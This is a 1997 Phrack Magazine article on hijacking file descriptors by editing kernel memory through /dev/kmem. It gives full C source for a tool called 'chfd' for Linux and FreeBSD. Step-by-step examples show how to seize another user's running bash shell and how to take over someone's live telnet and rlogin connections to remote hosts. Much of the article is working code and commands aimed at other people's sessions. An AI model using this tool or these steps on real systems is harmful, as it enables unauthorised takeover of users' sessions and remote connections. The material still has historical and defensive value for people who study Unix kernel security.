---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 05 of 17
-------------------------[ File Descriptor Hijacking
--------[ orabidoo <odar@pobox.com>
Introduction
------------
We often hear of tty hijacking as a way for root to take over a user's
session. The traditional tools for this use STREAMS on SysV machines,
and one article in Phrack 50 presented a way to do it in Linux, using
loadable modules.
I'll describe here a simple technique that lets root take over a local
or remote session. I've implemented it for Linux and FreeBSD; it should
be easy to port it to just about any Un*x-like system where root can
write to kernel memory.
The idea is simple: by tweaking the kernel's file descriptor tables, one
can forcefully move file descriptors from one process to another.
This method allows you to do almost anything you want: redirect the
output of a running command to a file, or even take over your neighbor's
telnet connection.
How the kernel keeps track of open file descriptors
---------------------------------------------------
In Un*x, processes access resources by means of file descriptors, which
are obtained via system calls such as open(), socket() and pipe(). From
the process's point of view, the file descriptor is an opaque handle to
the resource. File descriptors 0, 1 and 2 represent standard input,
output and error, respectively. New descriptors are always allocated in
sequence.
On the other side of the fence, the kernel keeps, for each process, a
table of file descriptors (fds), with a pointer to a structure for each
fd. The pointer is NULL if the fd isn't open. Otherwise, the structure
holds information about what kind of fd it is (a file, a socket, a
pipe, etc), together with pointers to data about the resource that the fd
accesses (the file's inode, the socket's address and state information,
and so on).
The process table is usually an array or a linked list of structures.
From the structure for a given process, you can easily find a pointer to
the internal fd table for that process.
In Linux, the process table is an array (called "task") of struct
task_struct's, and includes a pointer to a struct files_struct, which
has the fd array (look at /usr/include/linux/sched.h for details). In
SunOS 4, the process table is a linked list of struct proc's, which
include a pointer to the u_area, which has info about the fds (look at
/usr/include/sys/proc.h). In FreeBSD, it's also a linked list (called
"allproc") of struct proc's, which include a pointer to a struct
filedesc with the fd table (also according to /usr/include/sys/proc.h).
If you have read and write access to the kernel's memory (which, in most
cases, is the same as having read/write access to /dev/kmem), there's
nothing to prevent you from messing with these fd tables, stealing open
fd's from a process and reusing them in another one.
The only major case where this won't work are systems based on BSD4.4
(such as {Free, Net, Open}BSD) running at a securelevel higher than 0.
In that mode, write access to /dev/mem and /dev/kmem is disabled, among
other things. However, many BSD systems run at securelevel -1, which leaves
them vulnerable, and in many others it may be possible to get the securelevel
to be -1 at the next boot by tweaking the startup scripts. On FreeBSD, you
can check the securelevel with the command "sysctl kern.securelevel". Linux
also has securelevels, but they don't prevent you from accessing /dev/kmem.
File descriptor hijacking
-------------------------
The kernel's internal variables are really not made to be modified like
this by user programs, and it shows.
First of all, on a multitasking system, you have no guarantee that the
kernel's state won't have changed between the time you find out a
variable's address and the time you write to it (no atomicity). This is
why these techniques shouldn't be used in any program that aims for
reliability. That being said, in practice, I haven't seen it fail, because
the kernel doesn't move this kind of data around once it has allocated it
(at least for the first 20 or 32 or 64 or so fds per process), and because
it's quite unlikely that you'll do this just when the process is closing or
opening a new fd.
You still want to try it?
For simplicity's sake, we won't try to do things like duplicating an fd
between two processes, or passing an fd from one process to another
without passing another one in return. Instead, we'll just exchange an
fd in one process with another fd in another process. This way we only
have to deal with open files, and don't mess with things like reference
counts. This is as simple as finding two pointers in the kernel and
switching them around. A slightly more complicated version of this
involves 3 processes, and a circular permutation of the fds.
Of course, you have to guess which fd corresponds to the resource you
want to pass. To take complete control of a running shell, you'll want
its standard input, output and error, so you'll need to take the 3 fds
0, 1 and 2. To take control of a telnet session, you'll want the fd of
the inet socket that telnet is using to talk to the other side, which is
usually 3, and exchange it with another running telnet (so it knows what
to do with it). Under Linux, a quick look at /proc/[pid]/fd will tell
you which fds the process is using.
Using chfd
----------
I've implemented this for Linux and FreeBSD; it would be fairly easy to
port to other systems (as long as they let you write to /dev/mem or
/dev/kmem, and have the equivalent of a /usr/include/sys/proc.h to
figure out how it works).
To compile chfd for Linux, you need to figure out a couple things about
the running kernel. If it's a 1.2.13 or similar, you'll need to
uncomment the line /* #define OLDLINUX */, because the kernel's
structures have changed since then. If it's 2.0.0 or newer, it should
work out of the box, although it could change again...
Then you need to find the symbol table for the kernel, which is usually
in /boot/System.map or similar. Make sure this corresponds to the
kernel that is actually running, and look up the address for the "task"
symbol. You need to put this value in chfd, instead of "00192d28".
Then compile with "gcc chfd.c -o chfd".
To compile chfd for FreeBSD, just get the FreeBSD code and compile it
with "gcc chfd.c -o chfd -lkvm". This code was written for FreeBSD
2.2.1, and might need tweaking for other versions.
Once it's compiled, you invoke chfd with
chfd pid1 fd1 pid2 fd2
or
chfd pid1 fd1 pid2 fd2 pid3 fd3
In the first case, the fds are just swapped. In the second case, the
second process gets the first's fd, the third gets the second's fd, and
the first gets the third's fd.
As a special case, if one of the pids is zero, the corresponding fd is
discarded, and a fd on /dev/null is passed instead.
Example 1
---------
. a long calculation is running with pid 207, and with output to the tty
. you type "cat > somefile", and look up cat's pid (say 1746)
Then doing
chfd 207 1 1746 1
will redirect the calculation on the fly to the file "somefile", and the
cat to the calculation's tty. Then you can ^C the cat, and leave the
calculation running without fear of important results scrolling by.
Example 2
---------
. someone is running a copy of bash on a tty, with pid 4022
. you are running another copy of bash on a tty, with pid 4121
Then you do
sleep 10000
# on your own bash, so it won't read its tty for a while,
# otherwise your shell gets an EOF from /dev/null and leaves
# the session immediately
chfd 4022 0 0 0 4121 0
chfd 4022 1 0 0 4121 1
chfd 4022 2 0 0 4121 2
and you find yourself controlling the other guy's bash, and getting the
output too, while the guy's keystrokes go to /dev/null. When you exit
the shell, he gets his session disconnected, and you're back in your
sleep 10000 which you can safely ^C now.
Different shells might use different file descriptors; zsh seems to use
fd 10 to read from the tty, so you'll need to exchange that too.
Example 3
---------
. someone is running a telnet on a tty, with pid 6309
. you start a telnet to some worthless port that won't drop the
connection too quickly (telnet localhost 7, telnet www.yourdomain 80,
whatever), with pid 7081
. under Linux, a quick look at /proc/6309/fd and /proc/7081/fd tells you
telnet is using fds 0, 1, 2 and 3, so 3 must be the connection.
Then doing
chfd 6309 3 7081 3 0 0
will replace the network connection with a /dev/null on the guy's telnet
(which reads an EOF, so he'll get a "Connection closed by foreign
host."), and your telnet finds itself connected to the guy's remote
host. At this point you'll probably need to press ^] and type "mode
character" to tell your telnet to stop echoing your lines locally.
Example 4
---------
. someone is running an rlogin on a tty; each rlogin uses two processes,
with pids 4547 and 4548
. you start an rlogin localhost on another tty, with pids 4852 and 4855
. a quick look at the relevant /proc/../fds tells you that each of the
rlogin processes is using fd 3 for the connection.
Then doing
chfd 4547 3 4552 3
chfd 4548 3 4555 3
does just what you expect. Except that your rlogin may still be blocked
by the kernel because it's waiting on an event that won't happen (having
data to read from localhost); in that case you wake it up with a kill
-STOP followed by 'fg'.
You get the idea. When a program gets another one's fd, it's important
that it knows what to do with it; in most cases you achieve this by
running a copy of the same program you want to take over, unless you're
passing a fd on /dev/null (which gives an EOF) or just passing
stdin/stdout/stderr.
Conclusion
----------
As you can see, you can do quite powerful things with this. And there
isn't really much you can do to protect yourself from some root doing
this, either.
It could be argued that it's not even a security hole; root is
*supposed* to be able to do these things. Otherwise there wouldn't be
explicit code in the drivers for /dev/kmem to let you write there, would
there?
The Linux code
--------------
<++> fd_hijack/chfd-linux.c
/* chfd - exchange fd's between 2 or 3 running processes.
*
* This was written for Linux/intel and is *very* system-specific.
* Needs read/write access to /dev/kmem; setgid kmem is usually enough.
*
* Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]
*
* With two sets of arguments, exchanges a couple of fd between the
* two processes.
* With three sets, the second process gets the first's fd, the third gets
* the second's fd, and the first gets the third's fd.
*
* Note that this is inherently unsafe, since we're messing with kernel
* variables while the kernel itself might be changing them. It works
* in practice, but no self-respecting program would want to do this.
*
* Written by: orabidoo <odar@pobox.com>
* First version: 14 Feb 96
* This version: 2 May 97
*/
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#define __KERNEL__ /* needed to access kernel-only definitions */
#include <linux/sched.h>
/* #define OLDLINUX */ /* uncomment this if you're using Linux 1.x;
tested only on 1.2.13 */
#define TASK 0x00192d28 /* change this! look at the system map,
usually /boot/System.map, for the address
of the "task" symbol */
#ifdef OLDLINUX
# define FD0 ((char *)&ts.files->fd[0] - (char *)&ts)
# define AD(fd) (taskp + FD0 + 4*(fd))
#else
# define FILES ((char *)&ts.files - (char *)&ts)
# define FD0 ((char *)&fs.fd[0] - (char *)&fs)
# define AD(fd) (readvalz(taskp + FILES) + FD0 + 4*(fd))
#endif
int kfd;
struct task_struct ts;
struct files_struct fs;
int taskp;
int readval(int ad) {
int val, r;
if (lseek(kfd, ad, SEEK_SET) < 0)
perror("lseek"), exit(1);
if ((r = read(kfd, &val, 4)) != 4) {
if (r < 0)
perror("read");
else fprintf(stderr, "Error reading...\n");
exit(1);
}
return val;
}
int readvalz(int ad) {
int r = readval(ad);
if (r == 0)
fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1);
return r;
}
void writeval(int ad, int val) {
int w;
if (lseek(kfd, ad, SEEK_SET) < 0)
perror("lseek"), exit(1);
if ((w = write(kfd, &val, 4)) != 4) {
if (w < 0)
perror("write");
else fprintf(stderr, "Error writing...\n");
exit(1);
}
}
void readtask(int ad) {
int r;
if (lseek(kfd, ad, SEEK_SET)<0)
perror("lseek"), exit(1);
if ((r = read(kfd, &ts, sizeof(struct task_struct))) !=
sizeof(struct task_struct)) {
if (r < 0)
perror("read");
else fprintf(stderr, "Error reading...\n");
exit(1);
}
}
void findtask(int pid) {
int adr;
for (adr=TASK; ; adr+=4) {
if (adr >= TASK + 4*NR_TASKS)
fprintf(stderr, "Process not found\n"), exit(1);
taskp = readval(adr);
if (!taskp) continue;
readtask(taskp);
if (ts.pid == pid) break;
}
}
int main(int argc, char **argv) {
int pid1, fd1, pid2, fd2, ad1, val1, ad2, val2, pid3, fd3, ad3, val3;
int three=0;
if (argc != 5 && argc != 7)
fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]),
exit(1);
pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);
pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);
if (argc == 7)
pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;
if (pid1 == 0)
pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);
if (pid2 == 0)
pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);
if (three && pid3 == 0)
pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);
kfd = open("/dev/kmem", O_RDWR);
if (kfd < 0)
perror("open"), exit(1);
findtask(pid1);
ad1 = AD(fd1);
val1 = readvalz(ad1);
printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);
findtask(pid2);
ad2 = AD(fd2);
val2 = readvalz(ad2);
printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);
if (three) {
findtask(pid3);
ad3 = AD(fd3);
val3 = readvalz(ad3);
printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3);
}
if (three) {
if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) {
fprintf(stderr, "fds changed in memory while using them - try again\n");
exit(1);
}
writeval(ad2, val1);
writeval(ad3, val2);
writeval(ad1, val3);
} else {
if (readval(ad1)!=val1 || readval(ad2)!=val2) {
fprintf(stderr, "fds changed in memory while using them - try again\n");
exit(1);
}
writeval(ad1, val2);
writeval(ad2, val1);
}
printf("Done!\n");
}
<-->
The FreeBSD code
----------------
<++> fd_hijack/chfd-freebsd.c
/* chfd - exchange fd's between 2 or 3 running processes.
*
* This was written for FreeBSD and is *very* system-specific. Needs
* read/write access to /dev/mem and /dev/kmem; only root can usually
* do that, and only if the system is running at securelevel -1.
*
* Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]
* Compile with: gcc chfd.c -o chfd -lkvm
*
* With two sets of arguments, exchanges a couple of fd between the
* two processes.
* With three sets, the second process gets the first's fd, the third
* gets the second's fd, and the first gets the third's fd.
*
* Note that this is inherently unsafe, since we're messing with kernel
* variables while the kernel itself might be changing them. It works
* in practice, but no self-respecting program would want to do this.
*
* Written by: orabidoo <odar@pobox.com>
* FreeBSD version: 4 May 97
*/
#include <stdio.h>
#include <fcntl.h>
#include <kvm.h>
#include <sys/proc.h>
#define NEXTP ((char *)&p.p_list.le_next - (char *)&p)
#define FILES ((char *)&p.p_fd - (char *)&p)
#define AD(fd) (readvalz(readvalz(procp + FILES)) + 4*(fd))
kvm_t *kfd;
struct proc p;
u_long procp, allproc;
struct nlist nm[2];
u_long readval(u_long ad) {
u_long val;
if (kvm_read(kfd, ad, &val, 4) != 4)
fprintf(stderr, "error reading...\n"), exit(1);
return val;
}
u_long readvalz(u_long ad) {
u_long r = readval(ad);
if (r == 0)
fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1);
return r;
}
void writeval(u_long ad, u_long val) {
if (kvm_write(kfd, ad, &val, 4) != 4)
fprintf(stderr, "error writing...\n"), exit(1);
}
void readproc(u_long ad) {
if (kvm_read(kfd, ad, &p, sizeof(struct proc)) != sizeof(struct proc))
fprintf(stderr, "error reading a struct proc...\n"), exit(1);
}
void findproc(int pid) {
u_long adr;
for (adr = readval(allproc); adr; adr = readval(adr + NEXTP)) {
procp = adr;
readproc(procp);
if (p.p_pid == pid) return;
}
fprintf(stderr, "Process not found\n");
exit(1);
}
int main(int argc, char **argv) {
int pid1, fd1, pid2, fd2, pid3, fd3;
u_long ad1, val1, ad2, val2, ad3, val3;
int three=0;
if (argc != 5 && argc != 7)
fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]),
exit(1);
pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);
pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);
if (argc == 7)
pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;
if (pid1 == 0)
pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);
if (pid2 == 0)
pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);
if (three && pid3 == 0)
pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);
kfd = kvm_open(NULL, NULL, NULL, O_RDWR, "chfd");
if (kfd == NULL) exit(1);
bzero(nm, 2*sizeof(struct nlist));
nm[0].n_name = "_allproc";
nm[1].n_name = NULL;
if (kvm_nlist(kfd, nm) != 0)
fprintf(stderr, "Can't read kernel name list\n"), exit(1);
allproc = nm[0].n_value;
findproc(pid1);
ad1 = AD(fd1);
val1 = readvalz(ad1);
printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);
findproc(pid2);
ad2 = AD(fd2);
val2 = readvalz(ad2);
printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);
if (three) {
findproc(pid3);
ad3 = AD(fd3);
val3 = readvalz(ad3);
printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3);
}
if (three) {
if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) {
fprintf(stderr, "fds changed in memory while using them - try again\n");
exit(1);
}
writeval(ad2, val1);
writeval(ad3, val2);
writeval(ad1, val3);
} else {
if (readval(ad1)!=val1 || readval(ad2)!=val2) {
fprintf(stderr, "fds changed in memory while using them - try again\n");
exit(1);
}
writeval(ad1, val2);
writeval(ad2, val1);
}
printf("Done!\n");
}
<-->
----[ EOF